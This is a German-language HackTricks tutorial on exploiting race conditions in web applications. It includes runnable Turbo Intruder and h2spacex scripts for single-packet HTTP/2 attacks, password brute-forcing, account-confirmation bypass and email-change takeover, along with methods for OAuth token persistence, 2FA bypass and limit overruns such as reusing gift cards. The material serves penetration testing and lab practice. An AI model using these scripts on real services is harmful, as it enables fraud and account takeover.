23 KiB
Race Condition
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
{% hint style="warning" %} Um ein tiefes Verständnis dieser Technik zu erlangen, überprüfen Sie den Originalbericht unter https://portswigger.net/research/smashing-the-state-machine {% endhint %}
Verbesserung von Race Condition-Angriffen
Die größte Hürde bei der Ausnutzung von Race Conditions besteht darin, sicherzustellen, dass mehrere Anfragen gleichzeitig bearbeitet werden, mit sehr geringem Unterschied in ihren Verarbeitungszeiten – idealerweise weniger als 1 ms.
Hier finden Sie einige Techniken zur Synchronisierung von Anfragen:
HTTP/2 Single-Packet-Angriff vs. HTTP/1.1 Last-Byte-Synchronisierung
- HTTP/2: Unterstützt das Senden von zwei Anfragen über eine einzige TCP-Verbindung, wodurch die Auswirkungen von Netzwerk-Jitter verringert werden. Aufgrund serverseitiger Variationen können jedoch zwei Anfragen möglicherweise nicht ausreichen, um einen konsistenten Race Condition-Angriff durchzuführen.
- HTTP/1.1 'Last-Byte Sync': Ermöglicht das Vorab-Senden der meisten Teile von 20-30 Anfragen, wobei ein kleines Fragment zurückgehalten wird, das dann zusammen gesendet wird, um eine gleichzeitige Ankunft beim Server zu erreichen.
Die Vorbereitung für Last-Byte Sync umfasst:
- Senden von Headern und Bodendaten ohne das letzte Byte, ohne den Stream zu beenden.
- Eine Pause von 100 ms nach dem ersten Senden.
- Deaktivierung von TCP_NODELAY, um Nagle's Algorithmus für das Batching der letzten Frames zu nutzen.
- Pingen, um die Verbindung aufzuwärmen.
Das anschließende Senden der zurückgehaltenen Frames sollte zu ihrer Ankunft in einem einzigen Paket führen, was über Wireshark überprüfbar ist. Diese Methode gilt nicht für statische Dateien, die typischerweise nicht in RC-Angriffen involviert sind.
Anpassung an die Serverarchitektur
Das Verständnis der Architektur des Ziels ist entscheidend. Front-End-Server können Anfragen unterschiedlich weiterleiten, was die Zeitmessung beeinflusst. Eine präventive serverseitige Verbindungserwärmung durch unbedeutende Anfragen könnte die Anfragetiming normalisieren.
Umgang mit sitzungsbasiertem Locking
Frameworks wie PHPs Sitzungs-Handler serialisieren Anfragen nach Sitzung, was potenziell Schwachstellen verschleiern kann. Die Verwendung unterschiedlicher Sitzungstoken für jede Anfrage kann dieses Problem umgehen.
Überwindung von Rate- oder Ressourcenlimits
Wenn die Verbindungserwärmung nicht effektiv ist, könnte das absichtliche Auslösen von Verzögerungen durch die Rate- oder Ressourcenlimits von Webservern durch eine Flut von Dummy-Anfragen den Single-Packet-Angriff erleichtern, indem eine serverseitige Verzögerung induziert wird, die für Race Conditions förderlich ist.
Angriffsbeispiele
- Tubo Intruder - HTTP2 Single-Packet-Angriff (1 Endpunkt): Sie können die Anfrage an Turbo Intruder senden (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), Sie können im Request den Wert ändern, den Sie für%s
brute-forcen möchten, wie incsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
und dannexamples/race-single-packer-attack.py
aus dem Dropdown auswählen:
Wenn Sie verschiedene Werte senden möchten, könnten Sie den Code mit diesem ändern, der eine Wortliste aus der Zwischenablage verwendet:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
Wenn das Web kein HTTP2 unterstützt (nur HTTP1.1), verwenden Sie Engine.THREADED
oder Engine.BURP
anstelle von Engine.BURP2
.
{% endhint %}
- Tubo Intruder - HTTP2 Einzelpaketangriff (Mehrere Endpunkte): Falls Sie eine Anfrage an 1 Endpunkt senden müssen und dann mehrere an andere Endpunkte, um die RCE auszulösen, können Sie das
race-single-packet-attack.py
Skript mit etwas wie:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Es ist auch in Repeater über die neue 'Send group in parallel' Option in Burp Suite verfügbar.
- Für limit-overrun könntest du einfach die gleiche Anfrage 50 Mal in der Gruppe hinzufügen.
- Für connection warming könntest du am Anfang der Gruppe einige Anfragen an einen nicht statischen Teil des Webservers hinzufügen.
- Um den Prozess zwischen der Verarbeitung einer Anfrage und einer anderen in 2 Subzuständen zu verzögern, könntest du zusätzliche Anfragen zwischen beiden Anfragen hinzufügen.
- Für eine multi-endpoint RC könntest du die Anfrage senden, die in den versteckten Zustand geht, und dann 50 Anfragen direkt danach, die den versteckten Zustand ausnutzen.
- Automatisiertes Python-Skript: Das Ziel dieses Skripts ist es, die E-Mail eines Benutzers zu ändern, während es kontinuierlich überprüft, bis der Bestätigungstoken der neuen E-Mail an die letzte E-Mail ankommt (das liegt daran, dass im Code ein RC gesehen wurde, bei dem es möglich war, eine E-Mail zu ändern, aber die Bestätigung an die alte zu senden, weil die Variable, die die E-Mail angibt, bereits mit der ersten gefüllt war).
Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir den Bestätigungstoken der geänderten E-Mail erhalten haben und beenden den Angriff.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Raw BF
Vor der vorherigen Forschung wurden einige Payloads verwendet, die einfach versuchten, die Pakete so schnell wie möglich zu senden, um eine RC zu verursachen.
- Repeater: Überprüfen Sie die Beispiele aus dem vorherigen Abschnitt.
- Intruder: Senden Sie die Anfrage an den Intruder, setzen Sie die Anzahl der Threads auf 30 im Optionsmenü und wählen Sie als Payload Null-Payloads und generieren Sie 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodologie
Limit-Überlauf / TOCTOU
Dies ist die grundlegendste Art von Race Condition, bei der Schwachstellen auftreten, die an Orten erscheinen, die die Anzahl der Male begrenzen, die Sie eine Aktion ausführen können. Wie die Verwendung desselben Rabattcodes in einem Webshop mehrere Male. Ein sehr einfaches Beispiel finden Sie in diesem Bericht oder in diesem Bug.
Es gibt viele Variationen dieser Art von Angriff, einschließlich:
- Einlösen einer Geschenkkarte mehrere Male
- Bewerten eines Produkts mehrere Male
- Abheben oder Überweisen von Bargeld über Ihr Kontoguthaben hinaus
- Wiederverwendung einer einzelnen CAPTCHA-Lösung
- Umgehen einer Anti-Brute-Force-Ratebegrenzung
Verborgene Subzustände
Das Ausnutzen komplexer Race Conditions beinhaltet oft, kurze Gelegenheiten zu nutzen, um mit verborgenen oder unbeabsichtigten Maschinen-Subzuständen zu interagieren. So gehen Sie vor:
- Identifizieren Sie potenzielle verborgene Subzustände
- Beginnen Sie mit der Identifizierung von Endpunkten, die kritische Daten ändern oder mit ihnen interagieren, wie z. B. Benutzerprofile oder Passwortzurücksetzprozesse. Konzentrieren Sie sich auf:
- Speicherung: Bevorzugen Sie Endpunkte, die serverseitige persistente Daten manipulieren, gegenüber denen, die Daten clientseitig verarbeiten.
- Aktion: Suchen Sie nach Operationen, die vorhandene Daten ändern, da diese eher ausnutzbare Bedingungen schaffen als solche, die neue Daten hinzufügen.
- Schlüsselung: Erfolgreiche Angriffe beinhalten normalerweise Operationen, die auf demselben Identifikator basieren, z. B. Benutzername oder Rücksetztoken.
- Durchführen einer ersten Erkundung
- Testen Sie die identifizierten Endpunkte mit Race Condition-Angriffen und beobachten Sie Abweichungen von den erwarteten Ergebnissen. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine Schwachstelle hinweisen.
- Demonstrieren Sie die Schwachstelle
- Reduzieren Sie den Angriff auf die minimale Anzahl von Anfragen, die erforderlich sind, um die Schwachstelle auszunutzen, oft nur zwei. Dieser Schritt kann mehrere Versuche oder Automatisierung erfordern, aufgrund der präzisen Zeitplanung.
Zeitkritische Angriffe
Präzision bei der Zeitplanung von Anfragen kann Schwachstellen aufdecken, insbesondere wenn vorhersehbare Methoden wie Zeitstempel für Sicherheitstoken verwendet werden. Zum Beispiel könnte die Generierung von Passwortzurücksetztokens basierend auf Zeitstempeln identische Tokens für gleichzeitige Anfragen ermöglichen.
Um auszunutzen:
- Verwenden Sie präzise Zeitplanung, wie einen einzelnen Paketangriff, um gleichzeitige Passwortzurücksetzanforderungen zu stellen. Identische Tokens deuten auf eine Schwachstelle hin.
Beispiel:
- Fordern Sie zwei Passwortzurücksetztokens gleichzeitig an und vergleichen Sie sie. Übereinstimmende Tokens deuten auf einen Fehler in der Token-Generierung hin.
Überprüfen Sie dies PortSwigger Lab um dies auszuprobieren.
Fallstudien zu verborgenen Subzuständen
Bezahlen & einen Artikel hinzufügen
Überprüfen Sie dieses PortSwigger Lab, um zu sehen, wie Sie im Geschäft bezahlen und einen zusätzlichen Artikel hinzufügen, für den Sie nicht bezahlen müssen.
Bestätigen anderer E-Mails
Die Idee ist, eine E-Mail-Adresse zu verifizieren und sie gleichzeitig in eine andere zu ändern, um herauszufinden, ob die Plattform die neue geänderte Adresse überprüft.
E-Mail in 2 E-Mail-Adressen ändern, Cookie-basiert
Laut dieser Forschung war Gitlab auf diese Weise anfällig für einen Übernahmeangriff, da es das E-Mail-Bestätigungstoken einer E-Mail an die andere E-Mail senden könnte.
Überprüfen Sie dies PortSwigger Lab um dies auszuprobieren.
Verborgene Datenbankzustände / Bestätigungsumgehung
Wenn 2 verschiedene Schreibvorgänge verwendet werden, um Informationen in eine Datenbank hinzuzufügen, gibt es einen kurzen Zeitraum, in dem nur die ersten Daten in die Datenbank geschrieben wurden. Zum Beispiel, wenn ein Benutzer erstellt wird, könnten der Benutzername und das Passwort geschrieben werden und dann das Token, um das neu erstellte Konto zu bestätigen. Das bedeutet, dass für eine kurze Zeit das Token zur Bestätigung eines Kontos null ist.
Daher könnte die Registrierung eines Kontos und das Senden mehrerer Anfragen mit einem leeren Token (token=
oder token[]=
oder jede andere Variation), um das Konto sofort zu bestätigen, ermöglichen, ein Konto zu bestätigen, bei dem Sie die E-Mail nicht kontrollieren.
Überprüfen Sie dies PortSwigger Lab um dies auszuprobieren.
Umgehung von 2FA
Der folgende Pseudocode ist anfällig für Race Conditions, da in einem sehr kurzen Zeitraum 2FA nicht durchgesetzt wird, während die Sitzung erstellt wird:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 ewige Persistenz
Es gibt mehrere OAuth-Anbieter. Diese Dienste ermöglichen es Ihnen, eine Anwendung zu erstellen und Benutzer zu authentifizieren, die der Anbieter registriert hat. Um dies zu tun, muss der Client Ihrer Anwendung erlauben, auf einige ihrer Daten innerhalb des OAuth-Anbieters zuzugreifen.
Bis hierhin handelt es sich nur um eine gängige Anmeldung mit Google/LinkedIn/GitHub..., bei der Sie mit einer Seite konfrontiert werden, die sagt: "Anwendung <InsertCoolName> möchte auf Ihre Informationen zugreifen, möchten Sie dies erlauben?"
Race Condition in authorization_code
Das Problem tritt auf, wenn Sie es akzeptieren und automatisch einen authorization_code
an die bösartige Anwendung senden. Dann missbraucht diese Anwendung eine Race Condition im OAuth-Dienstanbieter, um mehr als ein AT/RT (Authentication Token/Refresh Token) aus dem authorization_code
für Ihr Konto zu generieren. Grundsätzlich wird ausgenutzt, dass Sie die Anwendung akzeptiert haben, um auf Ihre Daten zuzugreifen, um mehrere Konten zu erstellen. Wenn Sie dann aufhören, der Anwendung den Zugriff auf Ihre Daten zu erlauben, wird ein Paar von AT/RT gelöscht, aber die anderen bleiben weiterhin gültig.
Race Condition in Refresh Token
Sobald Sie ein gültiges RT erhalten haben, könnten Sie versuchen, es zu missbrauchen, um mehrere AT/RT zu generieren, und selbst wenn der Benutzer die Berechtigungen für die bösartige Anwendung zum Zugriff auf seine Daten widerruft, werden mehrere RTs weiterhin gültig sein.
RC in WebSockets
In WS_RaceCondition_PoC finden Sie einen PoC in Java, um Websocket-Nachrichten parallel zu senden, um Race Conditions auch in Web Sockets auszunutzen.
Referenzen
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie heute Zugang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}